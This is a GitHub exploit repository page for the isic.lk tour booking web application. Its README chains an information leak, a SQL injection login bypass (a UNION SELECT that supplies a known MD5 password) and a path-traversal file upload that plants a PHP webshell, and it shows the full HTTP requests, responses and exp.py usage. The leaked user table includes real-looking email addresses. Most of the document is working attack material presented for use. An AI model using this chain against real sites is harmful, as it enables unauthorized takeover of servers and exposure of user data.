

isic.lk tour booking website multi vuln (sql/ file upload / info leak) lead to RCE

☆ 0 stars 🍴 0 forks

☆ Star

🔔 Notifications

<> Code 🔍 Issues 🔗 Pull requests ⚙️ Actions 📁 Projects 🛡️ Security 📊 Insights

main

Go to file

killmonday Add files via upload ...

on Apr 3 🕒 5

[View code](#)

README.md

Usage

```
python exp.py http://localhost/isic
```

C:\Windows\System32\cmd.exe

```
E:\>python exp.py http://localhost/isic
upload success, webshell url : http://localhost/isic/images/test.php
password:own
you could connect this shell with AntSword.
E:\>
```

ISIC RCE details

Multiple vulnerabilities in isic.lk tour booking website (info leak / SQL Injection / file upload) lead to RCE.

First we get website admin username with information disclosure vulnerability, then we use sql to bypass login, and finally we upload a webshell to target's local system.

1.info leak

path: /system/user/modules/mod_users/controller.php

post param: action=view

Request
Pretty Raw Hex ↗ ↘ ⋮
1 POST /isic/system/user/modules/mod_users/controller.php
2 HTTP/1.1
3 Host: localhost
4 Content-Length: 11
5 sec-ch-ua: "(Not(A:Brand);v="8", "Chromium";v="99"
6 Accept: */*
7 Content-Type: application/x-www-form-urlencoded;
8 charset=UTF-8
9 X-Requested-With: XMLHttpRequest
10 sec-ch-ua-mobile: ?0
11 sec-ch-ua-platform: "Windows"
12 Origin: http://localhost
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Dest: empty
16 Referer: http://localhost/isic/admin/
17 Accept-Encoding: gzip, deflate
18 Accept-Language: zh-CN,zh;q=0.9
19 Cookie: _ga=GA1.1.28742187.1645071448;
20 Connection: close
21 action=view

Response
Pretty Raw Hex Render ↗ ↘ ⋮
View Users
Manage your users

Name	Username	Email	Last Login
ownhp peter	admin	admin@163.com	2022-Apr-02 : 22:30:38
Demo User	demo	asith2u@yahoo.com	
Asith Eranga	asith2u@yahoo.com	asith2u@yahoo.com	2017-Nov-03 : 18:03:47
Abeykoon	asith2u@yahoo.com	asith2u@yahoo.com	

now we get an account username 'admin'.

2.bypass login

we use sql injection to bypass login and make our PHPSESSION (in cookie) work.

path: /system/user/modules/mod_users/controller.php

post param: action=doLogin&username=admin' union select 1,2,3,4,5,6,'0192023a7bbd73250516f069df18b500',8,9 limit 1,1#&password=admin123

```
Request
Pretty Raw Hex [icon] [icon] [icon]
1 POST /isic/system/user/modules/mod_users/controller.php
2 HTTP/1.1
3 Host: localhost
4 Content-Length: 123
5 sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
6 Accept: */*
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 X-Requested-With: XMLHttpRequest
9 Referer: http://localhost/isic/admin/
10 Accept-Encoding: gzip, deflate
11 Accept-Language: zh-CN,zh;q=0.9
12 Cookie: _ga=GA1.1.28742187.1645071448; PHPSESSID=123re03p50qpp4nqt9oqmj6dr2
13 Connection: close
14 action=doLogin&username=admin' union select 1,2,3,4,5,6,'0192023a7bbd73250516f069df18b500',8,9 limit 1,1#&password=admin123

Response
Pretty Raw Hex Render [icon] [icon] [icon]
1 HTTP/1.1 200 OK
2 Date: Sun, 03 Apr 2022 11:19:05 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
4 X-Powered-By: PHP/7.3.4
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate
7 Pragma: no-cache
8 Vary: Accept-Encoding
9 Connection: close
10 Content-Type: text/html; charset=UTF-8
11 Content-Length: 61
12
13 {"code": "200", "msg": "Successfully Logged In. Please Wait..."}
```

tips: in file '/system/user/modules/mod_users/helper.php' you will see the login logic like follow code :

```
function selectByUsername() {
    $this->MDatabase->select($this->table_name, "", "username='" . $this->username() . "'", "id DESC");
    return $this->MDatabase->result;
}
```

and '/system/user/modules/mod_users/controller.php':

```
... $data = $users->selectByUsername();
... $users->extractor($data);

... Default_ModManager::loadHelper('user_permission');
... $permission = new Mod_UserPermission();
... $permission->setId($users->userPermission());
... $permission_data = $permission->getById();
... $permission->extractor($permission_data);

... if ($users->password() == md5($password)) {
...     Sessions::setAdminLoginDetails($users->id(), $
...     Sessions::setUserPermission($permission->permi
...     Sessions::setSystemManagerPermission(unseriali
...     ());
}
```

It means we could not bypass login with something like `username=admin'` and `1=1 -- -`, but we could use 'union select' to set password's md5 with function 'selectByUsername()'. Now we can bypass login based on the number of fields with 'user' table which we actually know, set the value of 'password' to some string's md5 that we know like 'admin123', it will return `{"code": "200", "msg": "Successfully Logged In. Please Wait..."}`.

3.upload webshell

For some reason, you need to make a request with '/system/application/libs/js/tinymce/plugins/filemanager/dialog.php?type=0&editor=mce_0&field_id=selected_file' otherwise the upload will fail. So we send a GET request :

```
Request
Pretty Raw Hex [icon] [icon] [icon]
1 GET
2 /isic/system/application/libs/js/tinymce/plugins/filemanager
3 /dialog.php?type=0&editor=mce_0&field_id=selected_file
4 HTTP/1.1
5 Host: localhost
6 User-Agent: python-requests/2.26.0
7 Accept-Encoding: gzip, deflate
8 Accept: */*
9 Connection: close
10 Cookie: PHPSESSID=8nng6ildqgghoj8iqg7sai39mo

Response
Pretty Raw Hex Render [icon] [icon] [icon]
1 HTTP/1.1 200 OK
2 Date: Sun, 03 Apr 2022 12:38:47 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
4 X-Powered-By: PHP/7.3.4
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revali
7 Pragma: no-cache
8 Vary: Accept-Encoding
9 Connection: close
10 Content-Type: text/html; charset=UTF-8
11 Content-Length: 7306
12
13 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0
```

Now upload webshell.

path: /system/application/libs/js/tinymce/plugins/filemanager/upload.php

SendCancel<>

Request

PrettyRawHex

2 Host: localhost
3 Accept-Encoding: gzip, deflate
4 Accept: */*
5 Connection: close
6 Cookie: PHPSESSID=y7g4viqt65omfcicgpps012i5ku
7 Content-Length: 406
8 Content-Type: multipart/form-data; boundary=077598d8fbc412d0e1a74280176ce8f2
9
10 --077598d8fbc412d0e1a74280176ce8f2
11 Content-Disposition: form-data; name="path"
12
13 ../../../../../../images/
14 --077598d8fbc412d0e1a74280176ce8f2
15 Content-Disposition: form-data; name="path_thumb"
16
17 thumbs/
18 --077598d8fbc412d0e1a74280176ce8f2
19 Content-Disposition: form-data; name="file"; filename="test.php"
20 Content-Type: image/jpeg
21
22 <?php echo md5('bra'); ?>
23 --077598d8fbc412d0e1a74280176ce8f2--
24

Response

PrettyRawHexRender

1 HTTP/1.1 200 OK
2 Date: Sun, 03 Apr 2022 14:09:55 GMT
3 Server: Apache/2.4.39 (Win64)
4 OpenSSL/1.1.1b mod_fcgid/2.3.9a
5 mod_log_rotate/1.02
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Vary: Accept-Encoding
11 Connection: close
12 Content-Type: text/html;
13 charset=UTF-8
Content-Length: 0

check for success:

phpmyadmin.com:4444 / local x localhost/isc/images/test.php x +

<>⌂

localhost/isc/images/test.php

应用

3c6ab8c37ec264689cd0131c7014b99d

Releases

No releases published

Packages

No packages published

Languages

● Python 100.0%